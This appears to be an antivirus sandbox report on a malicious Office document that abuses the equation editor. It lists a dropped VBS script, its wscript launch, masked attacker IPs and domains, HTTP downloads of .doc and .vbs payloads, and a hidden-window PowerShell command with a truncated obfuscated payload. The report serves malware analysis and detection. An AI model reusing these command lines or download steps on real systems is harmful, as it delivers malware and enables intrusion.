Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\htmlcve.vbs"
Downloads and executes files.
Modifies file system
Creates the following files
- %APPDATA%\htmlcve.vbs
Network activity
Connects to
- '94.##6.253.236':80
- 'wa####percave.com':443
TCP
HTTP GET requests
- http://94.##6.253.236/HTMLincache.doc
- http://94.##6.253.236/lllllillilililiil.vbs
Other
- 'wa####percave.com':443
UDP
- DNS ASK wa####percave.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "$Codigo = 'JXGwAgiLBpXGwAgiLG0XGwAgiLYQBnXGwAgiLGUXGwAgiLVQByXGwAgiLGwXGwAgiLIXGwAgiLXGwAgiL9XGwAgiLCXGwAgiLXGwAgiLJwBoXGwAgiLHQXGwAgiLdXGwAgiLBwXGwAgiLHMXGwAgiLOgXGwAgiLvXGwAgiLC8XGw...' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\winword.exe' -Embedding
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "$Codigo = 'JXGwAgiLBpXGwAgiLG0XGwAgiLYQBnXGwAgiLGUXGwAgiLVQByXGwAgiLGwXGwAgiLIXGwAgiLXGwAgiL9XGwAgiLCXGwAgiLXGwAgiLJwBoXGwAgiLHQXGwAgiLdXGwAgiLBwXGwAgiLHMXGwAgiLOgXGwAgiLvXGwAgiLC8XGw...
